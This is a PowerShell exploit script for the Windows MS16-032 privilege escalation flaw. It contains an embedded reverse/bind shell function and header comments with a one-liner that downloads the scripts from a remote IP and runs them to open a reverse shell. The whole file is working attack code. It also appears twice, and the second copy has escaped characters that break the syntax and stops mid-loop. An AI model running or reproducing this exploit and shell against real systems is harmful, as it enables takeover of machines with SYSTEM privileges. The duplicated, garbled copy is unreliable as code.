intrd/ms16_032_intrd_mod.ps1

## ms16_032_intrd_mod.ps1
## intrd's MS16-032 priv escalation exploit modded  - interactive shell & command argv

# Follow this cmd to exploit MS16-032 to get admin and run shell.ps1(ATTACHMNT): Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command YOURCOMANDHERE"
# To get a reverse powershell, serve this ms16_032_intrd_mod.ps1 and Invoke-PowerShellTcp.ps1, and use this download & exec oneliner: IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.169 -Port 3003"

function Invoke-MS16-032 {
<#
.SYNOPSIS

    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
    Modifications by Mike Benich (@benichmt1).

    Targets:

    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2

    Notes:

    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
	Empire Updates - Mike Benich / @benichmt1

.EXAMPLE
	C:\PS> Invoke-MS16-032
#>

	param (
		[Parameter(Mandatory = $True)]
		[string]$Cmd

	)

	## intrd's powershell
	function Invoke-PowerShellTcp
	{

	    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

	        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
	        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
	        [String]
	        $IPAddress,

	        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
	        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
	        [Int]
	        $Port,

	        [Parameter(ParameterSetName="reverse")]
	        [Switch]
	        $Reverse,

	        [Parameter(ParameterSetName="bind")]
	        [Switch]
	        $Bind

	    )

	    #Connect back if the reverse switch is used.
	    if ($Reverse)
	    {
	        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
	    }

	    #Bind to the provided port if Bind switch is used.
	    if ($Bind)
	    {
	        $listener = [System.Net.Sockets.TcpListener]$Port
	        $listener.start()
	        $client = $listener.AcceptTcpClient()
	    }

	    $stream = $client.GetStream()
	    [byte[]]$bytes = 0..255|%{0}

	    #Send back current username and computername
	    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
	    $stream.Write($sendbytes,0,$sendbytes.Length)

	    #Show an interactive PowerShell prompt
	    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
	    $stream.Write($sendbytes,0,$sendbytes.Length)

	    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
	    {
	        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
	        $data = $EncodedText.GetString($bytes,0, $i)

	        #Execute the command on the target.
	        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

	        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
	        $x = ($error[0] | Out-String)
	        $error.clear()
	        $sendback2 = $sendback2 + $x

	        #Return the results
	        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
	        $stream.Write($sendbyte,0,$sendbyte.Length)
	        $stream.Flush()
	    }
	    $client.Close()
	    $listener.Stop()
	}


	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;

	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}

	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}

	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);

		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle,
			int DesiredAccess,
			ref IntPtr TokenHandle);

		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}

	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);

		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);

		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);

		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);

		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}

	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@

	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION

		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)

		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)

		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

		$lpTargetHandle
	}

	function Get-SystemToken {
		echo "`n[?] Trying thread handle: $Thread"
		echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

		$CallResult = [Kernel32]::SuspendThread($Thread)
		if ($CallResult -ne 0) {
			echo "[!] $Thread is a bad thread, moving on.."
			Return
		} echo "[+] Thread suspended"

		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}

		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}

		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}

		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($Thread)
	}

	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|

	               [by b33f -> @FuzzySec]
"@


	$ms16032

	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}

	# Create array for Threads & TID's
	$ThreadArray = @()
	$TidArray = @()

	echo "[>] Duplicating CreateProcessWithLogonW handles.."
	# Loop Get-ThreadHandle and collect thread handles with a valid TID
	for ($i=0; $i -lt 500; $i++) {
		$hThread = Get-ThreadHandle
		$hThreadID = [Kernel32]::GetThreadId($hThread)
		# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
		if ($TidArray -notcontains $hThreadID) {
			$TidArray += $hThreadID
			if ($hThread -ne 0) {
				$ThreadArray += $hThread # This is what we need!
			}
		}
	}

	if ($($ThreadArray.length) -eq 0) {
		echo "[!] No valid thread handles were captured, exiting!`n"
		Return
	} else {
		echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
		echo "`n[?] Thread handle list:"
		$ThreadArray
	}

	echo "`n[*] Sniffing out privileged impersonation token.."
	foreach ($Thread in $ThreadArray){

		# Null $SysTokenHandle
		$script:SysTokenHandle = [IntPtr]::Zero

		# Get handle to SYSTEM access token
		Get-SystemToken

		# If we fail a check in Get-SystemToken, skip loop
		if ($SysTokenHandle -eq 0) {
			continue
		}

		echo "`n[*] Sniffing out SYSTEM shell.."
		echo "`n[>] Duplicating SYSTEM token"
		$hDuplicateTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

		# Simple PS runspace definition
		echo "[>] Starting token race"
		$Runspace = [runspacefactory]::CreateRunspace()
		$StartTokenRace = [powershell]::Create()
		$StartTokenRace.runspace = $Runspace
		$Runspace.Open()
		[void]$StartTokenRace.AddScript({
			Param ($Thread, $hDuplicateTokenHandle)
			while ($true) {
				$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
			}
		}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
		$AscObj = $StartTokenRace.BeginInvoke()

		echo "[>] Starting process race"
		# Adding a timeout (10 seconds) here to safeguard from edge-cases
		$SafeGuard = [diagnostics.stopwatch]::StartNew()
		while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
			# StartupInfo Struct
			$StartupInfo = New-Object STARTUPINFO
			$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

			# ProcessInfo Struct
			$ProcessInfo = New-Object PROCESS_INFORMATION

			# CreateProcessWithLogonW --> lpCurrentDirectory
			$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

			# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
			$CallResult = [Advapi32]::CreateProcessWithLogonW(
				"user", "domain", "pass",
				0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
				0x00000004, $null, $GetCurrentPath,
				[ref]$StartupInfo, [ref]$ProcessInfo)

			$hTokenHandle = [IntPtr]::Zero
			$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
			# If we can't open the process token it's a SYSTEM shell!
			if (!$CallResult) {
				echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
				$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
				$StartTokenRace.Stop()
				$SafeGuard.Stop()
				Return
			}

			# Clean up suspended process
			$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
			$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
			$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		}

		# Kill runspace & stopwatch if edge-case
		$StartTokenRace.Stop()
		$SafeGuard.Stop()
	}
}
	## intrd's MS16-032 priv escalation exploit modded - interactive shell & command argv

	# Follow this cmd to exploit MS16-032 to get admin and run shell.ps1(ATTACHMNT): Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command YOURCOMANDHERE"
	# To get a reverse powershell, serve this ms16_032_intrd_mod.ps1 and Invoke-PowerShellTcp.ps1, and use this download & exec oneliner: IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.169 -Port 3003"

	function Invoke-MS16-032 {
	<#
	.SYNOPSIS

	PowerShell implementation of MS16-032. The exploit targets all vulnerable
	operating systems that support PowerShell v2+. Credit for the discovery of
	the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
	Modifications by Mike Benich (@benichmt1).

	Targets:

	* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
	* Tested on x32 Win7, x64 Win8, x64 2k12R2

	Notes:

	* In order for the race condition to succeed the machine must have 2+ CPU
	cores. If testing in a VM just make sure to add a core if needed mkay.
	* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
	but not spawn a shell. Not sure what the issue is but just re-run and profit!
	* Want to know more about MS16-032 ==>
	https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
	.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
	Empire Updates - Mike Benich / @benichmt1

	.EXAMPLE
	C:\PS> Invoke-MS16-032
	#>

	param (
	[Parameter(Mandatory = $True)]
	[string]$Cmd

	)

	## intrd's powershell
	function Invoke-PowerShellTcp
	{

	[CmdletBinding(DefaultParameterSetName="reverse")] Param(

	[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
	[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
	[String]
	$IPAddress,

	[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
	[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
	[Int]
	$Port,

	[Parameter(ParameterSetName="reverse")]
	[Switch]
	$Reverse,

	[Parameter(ParameterSetName="bind")]
	[Switch]
	$Bind

	)

	#Connect back if the reverse switch is used.
	if ($Reverse)
	{
	$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
	}

	#Bind to the provided port if Bind switch is used.
	if ($Bind)
	{
	$listener = [System.Net.Sockets.TcpListener]$Port
	$listener.start()
	$client = $listener.AcceptTcpClient()
	}

	$stream = $client.GetStream()
	[byte[]]$bytes = 0..255\|%{0}

	#Send back current username and computername
	$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
	$stream.Write($sendbytes,0,$sendbytes.Length)

	#Show an interactive PowerShell prompt
	$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
	$stream.Write($sendbytes,0,$sendbytes.Length)

	while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
	{
	$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
	$data = $EncodedText.GetString($bytes,0, $i)

	#Execute the command on the target.
	$sendback = (Invoke-Expression -Command $data 2>&1 \| Out-String )

	$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
	$x = ($error[0] \| Out-String)
	$error.clear()
	$sendback2 = $sendback2 + $x

	#Return the results
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
	$stream.Write($sendbyte,0,$sendbyte.Length)
	$stream.Flush()
	}
	$client.Close()
	$listener.Stop()
	}



	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;

	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
	public IntPtr hProcess;
	public IntPtr hThread;
	public int dwProcessId;
	public int dwThreadId;
	}

	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
	public Int32 cb;
	public string lpReserved;
	public string lpDesktop;
	public string lpTitle;
	public Int32 dwX;
	public Int32 dwY;
	public Int32 dwXSize;
	public Int32 dwYSize;
	public Int32 dwXCountChars;
	public Int32 dwYCountChars;
	public Int32 dwFillAttribute;
	public Int32 dwFlags;
	public Int16 wShowWindow;
	public Int16 cbReserved2;
	public IntPtr lpReserved2;
	public IntPtr hStdInput;
	public IntPtr hStdOutput;
	public IntPtr hStdError;
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
	public int Length;
	public int ImpersonationLevel;
	public int ContextTrackingMode;
	public bool EffectiveOnly;
	}

	public static class Advapi32
	{
	[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
	public static extern bool CreateProcessWithLogonW(
	String userName,
	String domain,
	String password,
	int logonFlags,
	String applicationName,
	String commandLine,
	int creationFlags,
	int environment,
	String currentDirectory,
	ref STARTUPINFO startupInfo,
	out PROCESS_INFORMATION processInformation);

	[DllImport("advapi32.dll", SetLastError=true)]
	public static extern bool SetThreadToken(
	ref IntPtr Thread,
	IntPtr Token);

	[DllImport("advapi32.dll", SetLastError=true)]
	public static extern bool OpenThreadToken(
	IntPtr ThreadHandle,
	int DesiredAccess,
	bool OpenAsSelf,
	out IntPtr TokenHandle);

	[DllImport("advapi32.dll", SetLastError=true)]
	public static extern bool OpenProcessToken(
	IntPtr ProcessHandle,
	int DesiredAccess,
	ref IntPtr TokenHandle);

	[DllImport("advapi32.dll", SetLastError=true)]
	public extern static bool DuplicateToken(
	IntPtr ExistingTokenHandle,
	int SECURITY_IMPERSONATION_LEVEL,
	ref IntPtr DuplicateTokenHandle);
	}

	public static class Kernel32
	{
	[DllImport("kernel32.dll")]
	public static extern uint GetLastError();

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern IntPtr GetCurrentProcess();

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern IntPtr GetCurrentThread();

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern int GetThreadId(IntPtr hThread);

	[DllImport("kernel32.dll", SetLastError = true)]
	public static extern int GetProcessIdOfThread(IntPtr handle);

	[DllImport("kernel32.dll",SetLastError=true)]
	public static extern int SuspendThread(IntPtr hThread);

	[DllImport("kernel32.dll",SetLastError=true)]
	public static extern int ResumeThread(IntPtr hThread);

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern bool TerminateProcess(
	IntPtr hProcess,
	uint uExitCode);

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern bool CloseHandle(IntPtr hObject);

	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern bool DuplicateHandle(
	IntPtr hSourceProcessHandle,
	IntPtr hSourceHandle,
	IntPtr hTargetProcessHandle,
	ref IntPtr lpTargetHandle,
	int dwDesiredAccess,
	bool bInheritHandle,
	int dwOptions);
	}

	public static class Ntdll
	{
	[DllImport("ntdll.dll", SetLastError=true)]
	public static extern int NtImpersonateThread(
	IntPtr ThreadHandle,
	IntPtr ThreadToImpersonate,
	ref SQOS SecurityQualityOfService);
	}
	"@

	function Get-ThreadHandle {
	# StartupInfo Struct
	$StartupInfo = New-Object STARTUPINFO
	$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
	$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
	$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
	$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
	$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

	# ProcessInfo Struct
	$ProcessInfo = New-Object PROCESS_INFORMATION

	# CreateProcessWithLogonW --> lpCurrentDirectory
	$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

	# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
	$CallResult = [Advapi32]::CreateProcessWithLogonW(
	"user", "domain", "pass",
	0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
	0x00000004, $null, $GetCurrentPath,
	[ref]$StartupInfo, [ref]$ProcessInfo)

	# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
	$lpTargetHandle = [IntPtr]::Zero
	$CallResult = [Kernel32]::DuplicateHandle(
	$ProcessInfo.hProcess, 0x4,
	[Kernel32]::GetCurrentProcess(),
	[ref]$lpTargetHandle, 0, $false,
	0x00000002)

	# Clean up suspended process
	$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
	$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
	$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

	$lpTargetHandle
	}

	function Get-SystemToken {
	echo "`n[?] Trying thread handle: $Thread"
	echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

	$CallResult = [Kernel32]::SuspendThread($Thread)
	if ($CallResult -ne 0) {
	echo "[!] $Thread is a bad thread, moving on.."
	Return
	} echo "[+] Thread suspended"

	echo "[>] Wiping current impersonation token"
	$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
	if (!$CallResult) {
	echo "[!] SetThreadToken failed, moving on.."
	$CallResult = [Kernel32]::ResumeThread($Thread)
	echo "[+] Thread resumed!"
	Return
	}

	echo "[>] Building SYSTEM impersonation token"
	# SecurityQualityOfService struct
	$SQOS = New-Object SQOS
	$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
	$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
	# Undocumented API's, I like your style Microsoft ;)
	$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
	if ($CallResult -ne 0) {
	echo "[!] NtImpersonateThread failed, moving on.."
	$CallResult = [Kernel32]::ResumeThread($Thread)
	echo "[+] Thread resumed!"
	Return
	}

	# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
	$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
	if (!$CallResult) {
	echo "[!] OpenThreadToken failed, moving on.."
	$CallResult = [Kernel32]::ResumeThread($Thread)
	echo "[+] Thread resumed!"
	Return
	}

	echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
	echo "[+] Resuming thread.."
	$CallResult = [Kernel32]::ResumeThread($Thread)
	}

	# main() <--- ;)
	$ms16032 = @"
	__ __ ___ ___ ___ ___ ___ ___
	\| V \| _\|_ \| \| _\|___\| \|_ \|_ \|
	\| \|_ \|_\| \|_\| . \|___\| \| \|_ \| _\|
	\|_\|_\|_\|___\|_____\|___\| \|___\|___\|___\|

	[by b33f -> @FuzzySec]
	"@




	$ms16032

	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
	echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
	Return
	}

	# Create array for Threads & TID's
	$ThreadArray = @()
	$TidArray = @()

	echo "[>] Duplicating CreateProcessWithLogonW handles.."
	# Loop Get-ThreadHandle and collect thread handles with a valid TID
	for ($i=0; $i -lt 500; $i++) {
	$hThread = Get-ThreadHandle
	$hThreadID = [Kernel32]::GetThreadId($hThread)
	# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
	if ($TidArray -notcontains $hThreadID) {
	$TidArray += $hThreadID
	if ($hThread -ne 0) {
	$ThreadArray += $hThread # This is what we need!
	}
	}
	}

	if ($($ThreadArray.length) -eq 0) {
	echo "[!] No valid thread handles were captured, exiting!`n"
	Return
	} else {
	echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
	echo "`n[?] Thread handle list:"
	$ThreadArray
	}

	echo "`n[*] Sniffing out privileged impersonation token.."
	foreach ($Thread in $ThreadArray){

	# Null $SysTokenHandle
	$script:SysTokenHandle = [IntPtr]::Zero

	# Get handle to SYSTEM access token
	Get-SystemToken

	# If we fail a check in Get-SystemToken, skip loop
	if ($SysTokenHandle -eq 0) {
	continue
	}

	echo "`n[*] Sniffing out SYSTEM shell.."
	echo "`n[>] Duplicating SYSTEM token"
	$hDuplicateTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

	# Simple PS runspace definition
	echo "[>] Starting token race"
	$Runspace = [runspacefactory]::CreateRunspace()
	$StartTokenRace = [powershell]::Create()
	$StartTokenRace.runspace = $Runspace
	$Runspace.Open()
	[void]$StartTokenRace.AddScript({
	Param ($Thread, $hDuplicateTokenHandle)
	while ($true) {
	$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
	}
	}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
	$AscObj = $StartTokenRace.BeginInvoke()

	echo "[>] Starting process race"
	# Adding a timeout (10 seconds) here to safeguard from edge-cases
	$SafeGuard = [diagnostics.stopwatch]::StartNew()
	while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
	# StartupInfo Struct
	$StartupInfo = New-Object STARTUPINFO
	$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

	# ProcessInfo Struct
	$ProcessInfo = New-Object PROCESS_INFORMATION

	# CreateProcessWithLogonW --> lpCurrentDirectory
	$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

	# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
	$CallResult = [Advapi32]::CreateProcessWithLogonW(
	"user", "domain", "pass",
	0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
	0x00000004, $null, $GetCurrentPath,
	[ref]$StartupInfo, [ref]$ProcessInfo)

	$hTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
	# If we can't open the process token it's a SYSTEM shell!
	if (!$CallResult) {
	echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
	$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
	Return
	}

	# Clean up suspended process
